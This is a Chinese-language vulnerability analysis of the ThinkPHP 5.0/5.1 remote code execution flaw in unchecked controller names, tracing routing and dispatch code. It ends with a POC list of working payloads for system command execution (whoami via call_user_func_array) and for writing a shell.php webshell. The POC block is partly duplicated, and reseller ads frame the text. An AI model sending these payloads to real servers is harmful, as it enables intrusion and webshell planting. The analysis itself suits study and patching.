ThinkPHP5.x未开启强制路由(s参数)RCE

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

官方公告https://blog.thinkphp.cn/869075

由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞受影响的版本包括5.0和5.1版本

ThinkPHP5基础

环境搭建

官网直接下载完整包 https://www.thinkphp.cn/down/870.html

或者composer安装

composer create-project topthink/think=5.1.20 tp5.1.20

composer.json文件中topthink/framework": "5.1.*改为topthink/framework": "5.1.20再执行composer update

也可以去github下载应用项目仓和核心框架下载对应版本然后把核心框架解压到应用项目的thinkphp文件夹

image-20230107014834880

启动应用php -S localhost:80 -t public

目录结构

public目录通常作为web目录访问内容入口文件通常为index.php

project  应用部署目录
├─application           应用目录可设置
│  ├─common             公共模块目录可更改
│  ├─index              模块目录(可更改)
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  ├─command.php        命令行工具配置文件
│  ├─common.php         应用公共函数文件
│  ├─config.php         应用公共配置文件
│  ├─database.php       数据库配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └─route.php          路由配置文件
├─extend                扩展类库目录可定义
├─public                WEB 部署目录对外访问目录
│  ├─static             静态资源存放目录(css,js,image)
│  ├─index.php          应用入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于 apache 的重写
├─runtime               应用的运行时目录可写可设置
├─vendor                第三方类库目录Composer
├─thinkphp              框架系统目录
│  ├─lang               语言包目录
│  ├─library            框架核心类库目录
│  │  ├─think           Think 类库包目录
│  │  └─traits          系统 Traits 目录
│  ├─tpl                系统模板目录
│  ├─.htaccess          用于 apache 的重写
│  ├─.travis.yml        CI 定义文件
│  ├─base.php           基础定义文件
│  ├─composer.json      composer 定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     惯例配置文件
│  ├─helper.php         助手函数文件可选
│  ├─LICENSE.txt        授权说明文件
│  ├─phpunit.xml        单元测试配置文件
│  ├─README.md          README 文件
│  └─start.php          框架引导文件
├─build.php             自动生成定义文件参考
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

命名空间

ThinkPHP5采用命名空间方式定义和自动加载类库文件系统内置的几个根命名空间类库包如下

名称描述类库目录
think系统核心类库thinkphp/library/think
traits系统Trait类库thinkphp/library/traits
app应用类库application

URL访问

典型(未启用路由)的URL访问规则即PATH_INFO

http://serverName/index.php或者其它应用入口文件/模块/控制器/操作/[参数名/参数值...]

当服务器不支持PATH_INFO的时候可以使用兼容模式访问

http://serverName/index.php或者其它应用入口文件?s=/模块/控制器/操作/[参数名/参数值...]

url默认不区分大小写访问驼峰命名的控制器类使用下划线分割如blog_test

ThinkPHP v5.0.x

生命周期

ThinkPHP为单程序入口通常用于定义一些常量由此加载引导文件start.php

// 定义项目路径
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

start.php文件为默认引导文件会调用base.php基础引导文件。并依次加载系统常量定义、环境变量定义文件注册自动加载机制、注册错误和异常处理机制加载惯例配置文件Config.php执行应用 App::run()->send()去进行应用初始化过程。

初始化过程主要为加载各类定义、配置文件以及公共、拓展函数文件并注册应用命名空间。还有设置时区以及加载语言包。

初始化完成后若未设置调度信息会在\think\App::routeCheck进行URL路由检测根据PATH_INFO)。

image-20230106215942813

\think\App::routeCheck会调用\think\Request::path进行PATH_INFO检测。

image-20230106223029814

image-20230106220656342

获取到path后进行路由检查

image-20230106223310842

ThinkPHP5.0的路由有三种方式

  • 普通模式关闭路由完全使用默认的PATH_INFO方式URL
'url_route_on' => false
  • 混合模式开启路由并使用路由定义+默认PATH_INFO方式的混合
'url_route_on' => true,'url_route_must' => false
  • 强制模式开启路由并设置必须定义路由才能访问
'url_route_on' => true,'url_route_must' => true

在默认混合模式下会进行URL的路由检测路由地址表示定义的路由表达式最终需要路由到的地址以及一些需要的额外参数支持下面5种方式定义

定义方式定义格式
方式1路由到模块/控制器‘[模块/控制器/操作]?额外参数1=值1&额外参数2=值2…’
方式2路由到重定向地址‘外部地址’默认301重定向 或者 [‘外部地址’,‘重定向代码’]
方式3路由到控制器的方法‘@[模块/控制器/]操作’
方式4路由到类的方法‘\完整的命名空间类::静态方法’ 或者 ‘\完整的命名空间类@动态方法’
方式5路由到闭包函数闭包函数定义支持参数传入

接着就是分发请求以上的五种路由定义方式也对应各自的分发请求机制默认为模块/控制器/操作。然后响应输出控制器的所有操作方法都是return返回而不是直接输出。

结合代码的详细流程分析可参考Thinkphp 源码阅读

路由解析

这里主要关注兼容模式时候的解析方式

上面提到在初始化完成后会进行URL路由检测其中包括PATH_INFO检测需要获取到正常的$_SERVER['PATH_INFO']参数后才能继续。

PATH_INFO检测由\think\Request::pathinfo函数完成当GET请求中带有s参数(config中的默认值)即以兼容模式处理时将pathinfo设置为s的参数值。

image-20230106221718782

image-20230106221811611

在获取到path后回到\think\App::routeCheck进行解析路由检测无效且在默认的混合模式下'url_route_must' => false时最后会由\think\Route::parseUrl函数解析

image-20230106223527585

$url为前面的pathinfo$depr为默认的分割符/首先对$url替换分割符为|

image-20230107002904413

接着由\think\Route::parseUrlPath函数分隔符替换后统一根据/分割产生$path对应$route变量中的module、controller、action

image-20230107003117868

接着解析$path中的模块、控制器、操作

image-20230107003430483

然后进行封装并返回值到\think\App::run 的 $dispatch变量image-20230107004406736

然后会根据这个调度信息进行应用调度这里为路由定义方式中的module类型

image-20230107004227559

漏洞点

接着上面的过程开始这里使用的为

localhost/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

其中controller=>\think\app代表library/think/App.php后面的action实际调用\think\App::invokefunction函数

image-20230107005218451

\think\App::module函数中拿到实例化后的对象和方法后通过\think\App::invokeMethod函数调用反射执行类的方法

image-20230107005706384

这里通过\think\App::bindParams函数从get或post中获取到函数参数名的同名变量。如这里的invokeFunction($function, $vars = [])函数传参即为function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

image-20230107011445291

image-20230107011423902

最终调用\think\App::invokefunction函数去执行call_user_func_array函数同样由\think\App::bindParams函数获取参数poc中通过二维数组对函数传参

image-20230107011242090

ThinkPHP v5.1.x

同样由\think\App::run开始进入\think\App::routeCheck

image-20230109230012833

\think\App::routeCheck还是由\think\Request::path函数进行PATH_INFO检测获取到path后进行路由检查。最后会返回一个Url继承于Dispatch对象。

image-20230109221327056

接着调用\think\route\dispatch\Url::init在其中由\think\route\dispatch\Url::parseUrl进行解析返回的结果对应$route变量中的module、controller、action

image-20230109231839515

漏洞点

返回Module继承Dispatch对象并且调用了\think\route\dispatch\Module::init函数设置控制器和操作名

image-20230109232055414

回到\think\App::run将解析后的路由填充到dispatch

image-20230109222002283

接着到\think\Middleware::dispatch进行中间件调度获取$response这里调用的是\think\Middleware::resolve函数

image-20230109234852004

该函数通过array_shift()函数把之前\think\App中通过$this->middleware->add添加的那个匿名函数赋值给$middleware再继续将$middleware的值通过赋值给 c a l l 。以通过 ‘ c a l l u s e r f u n c a r r a y ( call。以通过`call_user_func_array( call。以通过calluserfuncarray(call,…)再对\think\App`中的匿名函数进行回调

image-20230110001129363

回到think\App->closure调用\think\route\Dispatch::run。这里的use作用是给该匿名函数传参

image-20230110001455042

image-20230110001706929

\think\route\dispatch\Module::exec函数先实例化控制器用于后面的闭包函数

image-20230110002215525

image-20230110005500833然后直接return接着又是中间件调度这里的将会调用exec()函数里面的闭包函数controller获取操作方法以及参数。参数最终由\think\Request::filterValue处理得到。

image-20230110005741381

image-20230110005927636

最后由invokeReflectMethod调用反射执行类的方法。

image-20230110010534820

image-20230110010107474

最终调用\think\Container::invokeFunction去执行函数。

image-20230110010257833

image-20230110003734948

调用过程和5.0比相对复杂但思路基本相同利用/分割出能利用的controller并输入相应的参数值。

后面就是寻找可以利用的类以及方法比如上面获取参数的\think\Request::filterValue函数就有个代码执行点

?s=index/\think\Request/input&filter=phpinfo&data=1

image-20230110011512489

写文件\think\template\driver\File::write

?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

POC

#命令执行
s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
    
s=index/\think\container/invokeFunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1
#写文件 tp5.0不可用  
s=index/\think\Request/input&filter=phpinfo&data=1

参考

https://www.kancloud.cn/manual/thinkphp5/118011

https://y4er.com/posts/thinkphp5-rce

function=call_user_func_array&vars[0]=system&vars[1][]=whoami

s=index/\think\container/invokeFunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1
#写文件 tp5.0不可用
s=index/\think\Request/input&filter=phpinfo&data=1


## 参考

> https://www.kancloud.cn/manual/thinkphp5/118011
>
> https://y4er.com/posts/thinkphp5-rce
>
> https://blog.0kami.cn/blog/2019/thinkphp-v5.x-App.php-rce/
阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: php